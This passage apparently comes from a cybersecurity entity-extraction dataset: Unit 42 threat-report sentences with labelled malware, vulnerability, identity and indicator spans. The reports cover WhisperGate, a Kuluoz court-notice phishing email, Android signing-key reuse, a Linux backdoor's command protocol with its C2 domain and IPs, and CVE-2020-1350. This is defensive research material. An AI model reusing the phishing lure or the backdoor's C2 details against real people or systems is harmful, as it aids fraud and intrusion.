vulnerability in the following ways: Palo Alto Networks customers receive protections against WhisperGate malware in the following ways: The Cortex XSOAR \"WhisperGate & CVE-2021-32648'' pack can help automatically detect and mitigate the two threats.","entities":[{"id":44991,"label":"identity","start_offset":1,"end_offset":19},{"id":44996,"label":"SOFTWARE","start_offset":216,"end_offset":228},{"id":44998,"label":"vulnerability","start_offset":244,"end_offset":258},{"id":44993,"label":"identity","start_offset":111,"end_offset":129},{"id":44994,"label":"vulnerability","start_offset":62,"end_offset":86},{"id":44995,"label":"malware","start_offset":168,"end_offset":179},{"id":4172,"label":"malware","start_offset":230,"end_offset":241}],"relations":[{"id":51,"from_id":44995,"to_id":44998,"type":"exploits"},{"id":214,"from_id":4172,"to_id":44998,"type":"exploits"}],"Comments":[]} +{"id":1393,"text":"Read more on the XSOAR marketplace.","entities":[],"relations":[],"Comments":[]} +{"id":1394,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":46738,"label":"identity","start_offset":92,"end_offset":99},{"id":46739,"label":"location","start_offset":131,"end_offset":144},{"id":46740,"label":"location","start_offset":185,"end_offset":189},{"id":46741,"label":"location","start_offset":208,"end_offset":212},{"id":46742,"label":"location","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]} +{"id":1395,"text":" Palo Alto Networks Cortex XDR customers may leverage the following XQL queries, written by the Cortex Managed Threat Hunting service experts, to hunt their datasets for indicators related to WhisperGate malware: The Unit 42 Threat Intelligence team remains vigilant in monitoring this evolving situation, is actively hunting for known indicators from recent events and is ready to put protections in place to thwart attacks against our customers.","entities":[{"id":45003,"label":"malware","start_offset":192,"end_offset":203},{"id":45002,"label":"identity","start_offset":1,"end_offset":19},{"id":45001,"label":"SOFTWARE","start_offset":20,"end_offset":30},{"id":45004,"label":"identity","start_offset":218,"end_offset":225},{"id":46744,"label":"identity","start_offset":218,"end_offset":250},{"id":46745,"label":"identity","start_offset":96,"end_offset":133}],"relations":[],"Comments":[]} +{"id":1396,"text":" Product-specific protections have been implemented as a result of research performed in recent days, and those protections will be augmented as needed as more details come to light.","entities":[],"relations":[],"Comments":[]} +{"id":1397,"text":"Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":46746,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1398,"text":" Updated March 4, 2022, at 6:15 a.m. PT.","entities":[{"id":45006,"label":"TIME","start_offset":9,"end_offset":39}],"relations":[],"Comments":[]} +{"id":1399,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1400,"text":"At 06:47 PST on May 20 Palo Alto Networks WildFire detected the start of the latest Kuluoz spam campaign.","entities":[{"id":4212,"label":"SOFTWARE","start_offset":42,"end_offset":50},{"id":46747,"label":"TIME","start_offset":3,"end_offset":22},{"id":46748,"label":"identity","start_offset":23,"end_offset":41},{"id":46749,"label":"campaign","start_offset":84,"end_offset":104}],"relations":[],"Comments":[]} +{"id":1401,"text":"The total number of e-mails detected quickly rose to over 30,000 per hour around noon PST and had not begun to slow down as of 1:30PM PST.","entities":[{"id":45007,"label":"TIME","start_offset":127,"end_offset":137},{"id":4218,"label":"TIME","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]} +{"id":1402,"text":" Kuluoz is a descendant of the Asprox malware and spreads by sending copies of itself as an e-mail attachment.","entities":[{"id":46751,"label":"malware","start_offset":31,"end_offset":37},{"id":46750,"label":"malware","start_offset":1,"end_offset":7},{"id":46752,"label":"attack-pattern","start_offset":61,"end_offset":109}],"relations":[{"id":216,"from_id":46750,"to_id":46751,"type":"variant-of"},{"id":217,"from_id":46751,"to_id":46752,"type":"uses"},{"id":218,"from_id":46750,"to_id":46752,"type":"uses"}],"Comments":[]} +{"id":1403,"text":"As the malware infects more systems, the systems begin sending more e-mails which leads to more infections.","entities":[],"relations":[],"Comments":[]} +{"id":1404,"text":"Kuluoz makes money for its owner by installing other malware, such as crimeware or fake antivirus programs.","entities":[{"id":45008,"label":"malware","start_offset":0,"end_offset":6},{"id":45009,"label":"attack-pattern","start_offset":70,"end_offset":79},{"id":45010,"label":"attack-pattern","start_offset":83,"end_offset":106}],"relations":[{"id":53,"from_id":45008,"to_id":45009,"type":"uses"},{"id":54,"from_id":45008,"to_id":45010,"type":"uses"}],"Comments":[]} +{"id":1405,"text":" Kuluoz e-mails often trick the reader into thinking they are delivery notifications (such as UPS or Fedex), or notices from airlines or payment processors.","entities":[{"id":46753,"label":"malware","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]} +{"id":1406,"text":"In this case the e-mails claim to contain a document about a court case.","entities":[],"relations":[],"Comments":[]} +{"id":1407,"text":"Subject: Hearing of your case in Court","entities":[],"relations":[],"Comments":[]} +{"id":1408,"text":"From: Notice of Appearance Pretrial Notice, Please, download the copy of the court notice attached herewith to read the details.","entities":[],"relations":[],"Comments":[]} +{"id":1409,"text":"Note: The case may be heard by the judge in your absence if you do not come.","entities":[],"relations":[],"Comments":[]} +{"id":1410,"text":"Truly yours, Clerk to the Court.","entities":[],"relations":[],"Comments":[]} +{"id":1411,"text":"Olivia Smith","entities":[{"id":46754,"label":"identity","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]} +{"id":1412,"text":" Each e-mail carries one of the following attachments: These attachments are different versions of the malware that has been packed to evade antivirus engines.","entities":[],"relations":[],"Comments":[]} +{"id":1413,"text":"Twelve of the 53 scanners on virustotal.com now detect the first variant of the malware, but only three detect the latest version.","entities":[{"id":45011,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]} +{"id":1414,"text":" To determine where the highest number of infected nodes are, we mapped the sending IP address for each of the attach e-mails to their rough geographic location.","entities":[],"relations":[],"Comments":[]} +{"id":1416,"text":" Geographic Distribution of Koluoz Spam Nodes in North America Thus far we’ve detected the following command and control servers in use.","entities":[{"id":45013,"label":"Infrastucture","start_offset":35,"end_offset":45},{"id":45016,"label":"Infrastucture","start_offset":103,"end_offset":121},{"id":45012,"label":"malware","start_offset":28,"end_offset":34},{"id":45014,"label":"location","start_offset":49,"end_offset":62}],"relations":[{"id":55,"from_id":45012,"to_id":45013,"type":"communicates-with"},{"id":56,"from_id":45013,"to_id":45014,"type":"located-at"}],"Comments":[]} +{"id":1417,"text":" The network traffic generated by each Trojan uses the HTTP protocol, and despite its use of port 443, is not encrypted with SSL.","entities":[],"relations":[],"Comments":[]} +{"id":1418,"text":" As with most fast-spreading malware, antivirus engines will typically begin detecting the files a day or two after the spread has begun.","entities":[],"relations":[],"Comments":[]} +{"id":1419,"text":"While we haven’t seen any indication that the spam volume has begun to slow down, we do expect the campaign to wind down in the next 24 hours, but a new campaign will probably be close behind.","entities":[{"id":4262,"label":"TIME","start_offset":124,"end_offset":141}],"relations":[],"Comments":[]} +{"id":1420,"text":"WildFire users can rest assured that they’ll be protected from whatever Kuluoz has in-store next.","entities":[{"id":46758,"label":"SOFTWARE","start_offset":0,"end_offset":8},{"id":46759,"label":"malware","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]} +{"id":1421,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! ","entities":[],"relations":[],"Comments":[]} +{"id":1422,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1423,"text":"Following a recent study of apps in the Google Play Store, let’s discuss several security risks caused by the bad certificate management practiced in many Android apps, from social to mobile banking.","entities":[{"id":46760,"label":"SOFTWARE","start_offset":40,"end_offset":57},{"id":46761,"label":"SOFTWARE","start_offset":155,"end_offset":162}],"relations":[],"Comments":[]} +{"id":1424,"text":" All Android apps must be digitally signed with a certificate from the developer.","entities":[{"id":46762,"label":"SOFTWARE","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]} +{"id":1425,"text":"As described in Google’s official document, the app developer is required to create a keystore with a set of private keys, and then use the private key to generate a signed version of apps.","entities":[{"id":46763,"label":"identity","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]} +{"id":1426,"text":"This key has to be valid for at least 25 years.","entities":[],"relations":[],"Comments":[]} +{"id":1427,"text":"These certificates do not have to be generated by a certificate authority and can instead be self-signed.","entities":[],"relations":[],"Comments":[]} +{"id":1428,"text":"Because this is simpler and allows the author to retain the private key, the majority of Google store apps use self-signed certificates.","entities":[{"id":45017,"label":"SOFTWARE","start_offset":89,"end_offset":105}],"relations":[],"Comments":[]} +{"id":1429,"text":"This means it is the developer’s responsibility to keep the private key safe, whether that developer is a 13-year-old or a multi-national company.","entities":[],"relations":[],"Comments":[]} +{"id":1430,"text":"As this means the security protecting private keys varies widely, the security risks of bad certificate management cannot be ignored and must be identified, and where necessary, mitigated.","entities":[],"relations":[],"Comments":[]} +{"id":1431,"text":" Security researchers are starting to take note and publish on this subject.","entities":[],"relations":[],"Comments":[]} +{"id":1432,"text":"For example, BlueBox recently revealed the Fake ID vulnerability, which exploits an app’s certificate verification process within the Android OS.","entities":[{"id":46764,"label":"identity","start_offset":13,"end_offset":20},{"id":46765,"label":"SOFTWARE","start_offset":134,"end_offset":144}],"relations":[],"Comments":[]} +{"id":1433,"text":"If they haven’t already","entities":[],"relations":[],"Comments":[]} +{"id":1434,"text":", soon attackers and malware authors will turn their attention to exploiting vulnerabilities surrounding Android app certificates.","entities":[{"id":46766,"label":"SOFTWARE","start_offset":105,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1435,"text":"When an app is published to the Google Play Store, the certificate information is included within the APK file.","entities":[{"id":46767,"label":"SOFTWARE","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]} +{"id":1436,"text":"To view the certificate information just open the given APK file as a zip file.","entities":[],"relations":[],"Comments":[]} +{"id":1437,"text":"The certificate information is stored within the certificate’s “\/META-INF” folder.","entities":[{"id":46768,"label":"FILEPATH","start_offset":65,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1438,"text":"You can use keytool or openssl tools to view the certificate information.","entities":[],"relations":[],"Comments":[]} +{"id":1439,"text":"An example taken from the popular Angry Birds app is shown in Figure 1.","entities":[{"id":46769,"label":"SOFTWARE","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]} +{"id":1440,"text":"The certificate fingerprints (circled in red) are what can be used to uniquely identify a certificate.","entities":[],"relations":[],"Comments":[]} +{"id":1441,"text":" Figure 1 These digital certificates, self-signed or not, are the keys to updating apps in the Android ecosystem.","entities":[{"id":46770,"label":"SOFTWARE","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]} +{"id":1442,"text":"It is a primary reason the expiration dates are set so far into the future and developers are able to self-sign certificates.","entities":[],"relations":[],"Comments":[]} +{"id":1443,"text":"The only way to update an app is for the developer to sign the update with the same digital certificate originally used to publish the app.","entities":[{"id":47145,"label":"identity","start_offset":41,"end_offset":51}],"relations":[],"Comments":[]} +{"id":1444,"text":"If a developer wants to use a different certificate, they must publish the update separately as a new app.","entities":[],"relations":[],"Comments":[]} +{"id":1445,"text":" Furthermore, all Android apps published using the same certificate have a trust relationship between them.","entities":[{"id":46771,"label":"SOFTWARE","start_offset":18,"end_offset":25}],"relations":[],"Comments":[]} +{"id":1446,"text":"Android allows apps signed by the same certificate to run in the same process and treats them as one single application instead of separate ones.","entities":[{"id":46772,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":1447,"text":"It also allows multiple apps with the same certificate, if using signature-based permission checks, to expose functionality and exchange code and data amongst themselves.","entities":[],"relations":[],"Comments":[]} +{"id":1448,"text":"This is convenient for developers, which is great, but it is also convenient for hackers, which is not.","entities":[],"relations":[],"Comments":[]} +{"id":1449,"text":" Losing control of a certificate’s private key, or using an insecure private key, can have severe security consequences.","entities":[],"relations":[],"Comments":[]} +{"id":1450,"text":"For example, if an attacker obtained the private key of an app, he or she could create a fake APK file, sign it using the same certificate as the legitimate app, and replace the targeted app with fake app on the device silently using the “Application upgrade” procedure.","entities":[],"relations":[],"Comments":[]} +{"id":1451,"text":"In addition, if the attacker can’t create an app with the same name as the targeted app, he or she can still check the “SharedUserId” option.","entities":[],"relations":[],"Comments":[]} +{"id":1452,"text":"This allows apps with different package names but signed with the same certificate to share permissions and stored data.","entities":[],"relations":[],"Comments":[]} +{"id":1453,"text":" Because of this, app developers should be extremely careful about re-using certificates when signing their apps.","entities":[],"relations":[],"Comments":[]} +{"id":1454,"text":" Ideally, an app developer should generate a unique private key for each unique app they post in the Google Play Store.","entities":[{"id":46773,"label":"SOFTWARE","start_offset":101,"end_offset":118}],"relations":[],"Comments":[]} +{"id":1455,"text":" Unfortunately, during our study of apps posted in the Google Play Store we collected approximately 246,000 Android apps but only 11,681 certificates.","entities":[{"id":45020,"label":"SOFTWARE","start_offset":55,"end_offset":72},{"id":45021,"label":"SOFTWARE","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]} +{"id":1456,"text":"The distribution of the number of apps sharing the same key is shown below.","entities":[],"relations":[],"Comments":[]} +{"id":1457,"text":"The X-axis is the number of apps sharing the same certificate.","entities":[],"relations":[],"Comments":[]} +{"id":1458,"text":"The Y-axis is the number of certificates.","entities":[],"relations":[],"Comments":[]} +{"id":1459,"text":"For example, the number of certificates used by only one app is 1,323.","entities":[],"relations":[],"Comments":[]} +{"id":1460,"text":"About 6,925 certificates are used to sign between 6 and 19 different apps.","entities":[],"relations":[],"Comments":[]} +{"id":1461,"text":" Figure 2 ","entities":[],"relations":[],"Comments":[]} +{"id":1462,"text":"As we see in this distribution, a lot of developers sign different apps with the same certificate.","entities":[],"relations":[],"Comments":[]} +{"id":1463,"text":"We further investigated the following cases: ","entities":[],"relations":[],"Comments":[]} +{"id":1464,"text":"1. Signing apps with a publicly known private key Many key pairs are well known in the development community.","entities":[],"relations":[],"Comments":[]} +{"id":1465,"text":"The most famous set of key pairs would be the key pairs included within the AOSP source files (in Table 1, below). ","entities":[{"id":46774,"label":"SOFTWARE","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]} +{"id":1466,"text":"More key pairs can be found in developer forums and academic research.","entities":[],"relations":[],"Comments":[]} +{"id":1467,"text":" Table 1 If one app is signed using the publicly known private keys, it is easy for other apps on the same device to replace this vulnerable app with another APK file, silently with no user knowledge or interaction.","entities":[],"relations":[],"Comments":[]} +{"id":1468,"text":" We scanned our inventory of APK files downloaded from the Google Play Store and found at least 87 apps using the “testkey” in Table 1.","entities":[{"id":46775,"label":"SOFTWARE","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]} +{"id":1469,"text":"According to the Google Play Store, these 87 apps have been downloaded more than 1.6 million times.","entities":[{"id":46776,"label":"SOFTWARE","start_offset":17,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1470,"text":"For security reasons we are not posting the names of any of these apps.","entities":[],"relations":[],"Comments":[]} +{"id":1471,"text":"Under no circumstances should developers ever use private keys that are publicly available, nor should users download them.","entities":[],"relations":[],"Comments":[]} +{"id":1472,"text":"However, it isn’t easy for users to know the app they’re downloading is using a compromised private key – the onus for this is squarely on developers.","entities":[],"relations":[],"Comments":[]} +{"id":1473,"text":" 2. Mobile banking apps sharing one single key Mobile banking apps are particularly sensitive with significant security concerns, which is why we were surprised to discover one certificate was used to sign more than 300 mobile banking apps in the Google Play Store.","entities":[{"id":46777,"label":"SOFTWARE","start_offset":248,"end_offset":265}],"relations":[],"Comments":[]} +{"id":1474,"text":"This practice is not necessarily dangerous, as long as the developer does not share the key with the various banks that contracted the applications.","entities":[],"relations":[],"Comments":[]} +{"id":1475,"text":" We’ve contacted the developer to confirm they have retained sole custody of the keys.","entities":[],"relations":[],"Comments":[]} +{"id":1476,"text":"Of course, even with out-sourced application development, app owners should prefer to hold their own key.","entities":[],"relations":[],"Comments":[]} +{"id":1477,"text":"Whoever controls the key controls updates for the application forever, and a key shared between applications in this way can never be transferred to a financial institution without compromising the security of all of the other apps signed with it.","entities":[],"relations":[],"Comments":[]} +{"id":1478,"text":"The developer is aware of this concern and plans to encourage more of its customers to sign their own applications in the coming year.","entities":[],"relations":[],"Comments":[]} +{"id":1479,"text":"In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.","entities":[{"id":45023,"label":"location","start_offset":56,"end_offset":61},{"id":45025,"label":"location","start_offset":211,"end_offset":216},{"id":45026,"label":"identity","start_offset":201,"end_offset":207},{"id":45024,"label":"identity","start_offset":33,"end_offset":52}],"relations":[{"id":58,"from_id":45026,"to_id":45025,"type":"located-at"},{"id":219,"from_id":45024,"to_id":45023,"type":"located-at"}],"Comments":[]} +{"id":1480,"text":" 3. Third party app developers using the same key for all apps generated for all customers ","entities":[],"relations":[],"Comments":[]} +{"id":1481,"text":"The app developer industry is booming.","entities":[],"relations":[],"Comments":[]} +{"id":1482,"text":"These developers help customers build mobile apps for their businesses easily and quickly.","entities":[],"relations":[],"Comments":[]} +{"id":1483,"text":"They serve an important role for the majority of businesses that do not have in-house developers.","entities":[],"relations":[],"Comments":[]} +{"id":1484,"text":"Unfortunately, we uncovered some of these developers using the same certificate for every app.","entities":[],"relations":[],"Comments":[]} +{"id":1485,"text":"Again, using the same private key is probably due to the convenience in app management.","entities":[],"relations":[],"Comments":[]} +{"id":1486,"text":"But as we noted earlier, apps signed by the same certificate can automatically grant sharing relationships amongst themselves.","entities":[],"relations":[],"Comments":[]} +{"id":1487,"text":" This means all of the apps created by these developers, regardless of intended use, could be used maliciously.","entities":[],"relations":[],"Comments":[]} +{"id":1488,"text":"Table 2 shows select top app developers using the same certificate in signing all their apps.","entities":[],"relations":[],"Comments":[]} +{"id":1489,"text":" For security reasons, we have masked the names.","entities":[],"relations":[],"Comments":[]} +{"id":1490,"text":" Table 2 Digital certificates are a critical component of the security of Android apps.","entities":[{"id":46778,"label":"SOFTWARE","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]} +{"id":1491,"text":"Unfortunately, many app developers in the Google Play Store have ignored these concerns in favor of convenience.","entities":[{"id":45027,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]} +{"id":1492,"text":"While in some cases that may be justified – the app may not contain any important or identifying information – in many of the cases we discovered it is not.","entities":[],"relations":[],"Comments":[]} +{"id":1493,"text":"This poses great potential security risks to both app users and app owners.","entities":[],"relations":[],"Comments":[]} +{"id":1494,"text":"We encourage developers to reconsider their stance on this issue and where necessary make changes before a significant security event happens.","entities":[],"relations":[],"Comments":[]} +{"id":1495,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1496,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1497,"text":"A backdoor implant is an increasingly common mechanism for maintaining unauthorized access and control over a computer asset.","entities":[{"id":45029,"label":"attack-pattern","start_offset":71,"end_offset":90}],"relations":[],"Comments":[]} +{"id":1498,"text":"The terms remote administration tool (RAT) and trojan downloader are often used synonymously with such implants.","entities":[],"relations":[],"Comments":[]} +{"id":1499,"text":"Once installed (i.e. implanted on a system), the modern backdoor typically offers much more than simple (i.e. command line) access to a system.","entities":[],"relations":[],"Comments":[]} +{"id":1500,"text":" Depending on the backdoor’s specialization and sophistication, it can also capture keystrokes, take screenshots, scrape memory for valuable information, search for files meeting certain criteria, query databases, download files and additional malware, exfiltrate data and files, and even serve as an attack platform.","entities":[],"relations":[],"Comments":[]} +{"id":1501,"text":"Effectively, a backdoor implant affects loss of control over a computer asset.","entities":[],"relations":[],"Comments":[]} +{"id":1502,"text":" The tangible and intangible impacts of this loss of control vary based on respective backdoor capabilities, and may include the following: leakage of authentication credentials, loss of intellectual property, exposure of sensitive information, negative standing or reputation, and various levels of liability for actions executed on or from the compromised asset.","entities":[],"relations":[],"Comments":[]} +{"id":1503,"text":" Recently Palo Alto Networks discovered a backdoor program ( md5: b826fb1253a52a3b53afa3b7543d7694, sha256: 6bedd1b0716fe7632188932451f75295346836545e6d2bfee1b56121e02ca110 ) that is used to control a linux operating system.","entities":[{"id":45032,"label":"SHA2","start_offset":108,"end_offset":172},{"id":45033,"label":"identity","start_offset":10,"end_offset":28},{"id":45031,"label":"MD5","start_offset":66,"end_offset":98},{"id":45034,"label":"SOFTWARE","start_offset":201,"end_offset":223}],"relations":[{"id":220,"from_id":45031,"to_id":45032,"type":"related-to"}],"Comments":[]} +{"id":1504,"text":" This particular linux backdoor will install itself to \"\/usr\/bin\/btdaemon\" and create a startup service at \"\/etc\/init.d\/bluetoothdaemon\" with symbolic links so that it will run in any startup mode. The file contents are a simple bash script that runs the original btdaemon file.","entities":[{"id":46779,"label":"FILEPATH","start_offset":56,"end_offset":73},{"id":46780,"label":"FILEPATH","start_offset":108,"end_offset":135}],"relations":[],"Comments":[]} +{"id":1505,"text":" The backdoor when run will create threads for each connection listed in its config file. The sample that was caught by our systems contains 3 IP addresses in its config file.","entities":[],"relations":[],"Comments":[]} +{"id":1506,"text":" For each IP address the btdaemon service will attempt to make a connection on UDP ports 53, 80, 110, and 443.","entities":[],"relations":[],"Comments":[]} +{"id":1507,"text":" Upon successful connection it will send the string \"¡°MlCROS0FT|1.2 Apr 26 2014 02:37:05|Linux Kernel Version¡±\" and will wait for an \"Auth\" packet from the server.","entities":[],"relations":[],"Comments":[]} +{"id":1508,"text":" If the backdoor receives a packet in the form of a \"cmdType|cmdBody\" it will check the cmdType list and execute the equivalent instruction. Valid instructions are between 0-9 and there functionality varies depending on the command.","entities":[],"relations":[],"Comments":[]} +{"id":1509,"text":" While running the btdaemon process also inspects whether there is an \".IptabLes\" or \".IptabLex\" local process, and sends back status for monitoring purposes. If the \"disablerun\" command is sent the backdoor will download a file named \"run.txt\" from one of the following URLs: The file data is in the format \"exe_path_1 | exe_path_2 | ... | exe_path_N\". If none of the paths is correct then a \"getsetup.rar\" file is downloaded and run.","entities":[{"id":45035,"label":"FILEPATH","start_offset":397,"end_offset":409},{"id":45037,"label":"FILEPATH","start_offset":237,"end_offset":244}],"relations":[],"Comments":[]} +{"id":1510,"text":"This is an ELF file and there are various encrypted portions within it.","entities":[],"relations":[],"Comments":[]} +{"id":1511,"text":" There exist two embedded zlib-encrypted blocks at file offset 0x8C0C0 and 0xE6B40 respectively.","entities":[{"id":4493,"label":"tools","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1512,"text":" When run if the filename does not include the \"IptabLes\" string then the data is decrypted, written to disk, and then executed, installing itself as a startup service on the machine and place itself in one of the following locations: The second encrypted block is configuration data, which includes some IP addresses and DNS data which is used when it writes the first decrypted block to a file.","entities":[],"relations":[],"Comments":[]} +{"id":1513,"text":" \"dns.po888.com|122.228.242.51|119.145.148.56|162.221.13.82\".","entities":[{"id":46781,"label":"DOMAIN","start_offset":2,"end_offset":15},{"id":46782,"label":"IPV4","start_offset":16,"end_offset":30},{"id":46783,"label":"IPV4","start_offset":31,"end_offset":45},{"id":46784,"label":"IPV4","start_offset":46,"end_offset":59}],"relations":[],"Comments":[]} +{"id":1514,"text":" If the file is run in a path including the \"IptabLes\" string then it installs itself as a startup service and proceeds into its main loop.","entities":[],"relations":[],"Comments":[]} +{"id":1515,"text":" Either path the \"getsetup.rar\" file takes is meant to ensure that it is installed as a startup service, ensuring persistence. Once the file is running it creates a process identifier (PID) so that only one instance is running at any given time.","entities":[{"id":46785,"label":"FILEPATH","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1516,"text":"The file will connect to an IP and port configured from the configuration data and sends along information that includes the cpu and memory information.","entities":[],"relations":[],"Comments":[]} +{"id":1517,"text":" If the file does not receive any data within 30 seconds it will send a \"xy\" response back to the server.","entities":[],"relations":[],"Comments":[]} +{"id":1518,"text":" If the file does receive data from the server in excess of 20 bytes it will be in the following format: <2 byte data length><0xABCDEF88> The decrypted data will contain the following fields: The attack type field is used to determine if a SYN DDoS or DNS DDoS is used in an attack.","entities":[],"relations":[],"Comments":[]} +{"id":1519,"text":" The Src IP Begin and End are the start and ending IP ranges used as a fake src addresses in the DNS DDoS. The IP range can also be controlled by global variables within the binary itself as well.","entities":[],"relations":[],"Comments":[]} +{"id":1520,"text":" If the received data has 0x22 as the first set of bytes then the received data will be in the following format: <0x22> It will also do the following UDP connection test: If the first value in the packet is 0xC8 then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\" and \"g_mainsrvinfo.udpport\" to the passed in values.","entities":[],"relations":[],"Comments":[]} +{"id":1521,"text":" If the first value in the packet is 0xCC then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\". If the first value in the packet is 0x33 the file will use tcp to download a file and execute it.","entities":[],"relations":[],"Comments":[]} +{"id":1522,"text":" If the first value in the packet is 0x20 the file will delete all DDoS tasks.","entities":[],"relations":[],"Comments":[]} +{"id":1523,"text":" If the first value in the packet is 0x10 then the file will send back the current socket handle as a response back.","entities":[],"relations":[],"Comments":[]} +{"id":1524,"text":" Currently these IP addresses are alive and active.","entities":[],"relations":[],"Comments":[]} +{"id":1525,"text":" Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems. Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.","entities":[{"id":46786,"label":"identity","start_offset":1,"end_offset":19},{"id":46787,"label":"identity","start_offset":114,"end_offset":132}],"relations":[],"Comments":[]} +{"id":1526,"text":" Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":46788,"label":"identity","start_offset":48,"end_offset":66}],"relations":[],"Comments":[]} +{"id":1527,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1528,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1529,"text":"This post is also available in: 日本語 (Japanese) In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.","entities":[{"id":46789,"label":"TIME","start_offset":56,"end_offset":65},{"id":46790,"label":"identity","start_offset":67,"end_offset":76},{"id":46791,"label":"vulnerability","start_offset":105,"end_offset":118},{"id":46792,"label":"vulnerability","start_offset":121,"end_offset":176},{"id":46793,"label":"attack-pattern","start_offset":187,"end_offset":214}],"relations":[{"id":221,"from_id":46791,"to_id":46792,"type":"related-to"},{"id":223,"from_id":46793,"to_id":46791,"type":"targets"},{"id":222,"from_id":46793,"to_id":46792,"type":"targets"}],"Comments":[]} +{"id":1530,"text":" This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53\/TCP.","entities":[{"id":45039,"label":"SOFTWARE","start_offset":40,"end_offset":82},{"id":4560,"label":"identity","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]} +{"id":1531,"text":"Exploitation of this vulnerability is possible by creating an integer overflow, potentially leading to remote code execution.","entities":[{"id":46794,"label":"attack-pattern","start_offset":103,"end_offset":124}],"relations":[],"Comments":[]} +{"id":1532,"text":" This vulnerability only affects Windows DNS and the following builds of the Microsoft Windows operating system (OS): ","entities":[{"id":46795,"label":"SOFTWARE","start_offset":33,"end_offset":44},{"id":46796,"label":"SOFTWARE","start_offset":77,"end_offset":116}],"relations":[],"Comments":[]} +{"id":1533,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]} +{"id":1534,"text":"Microsoft also provided a workaround in cases where patches are not immediately possible.","entities":[{"id":46797,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":1535,"text":"Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.","entities":[{"id":46798,"label":"vulnerability","start_offset":38,"end_offset":76}],"relations":[],"Comments":[]} +{"id":1536,"text":" Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability: Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45043,"label":"identity","start_offset":123,"end_offset":141},{"id":45040,"label":"identity","start_offset":3,"end_offset":21},{"id":45041,"label":"SOFTWARE","start_offset":44,"end_offset":54},{"id":45042,"label":"SOFTWARE","start_offset":3,"end_offset":39}],"relations":[],"Comments":[]} +{"id":1537,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1538,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1539,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1540,"text":"Overview Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in 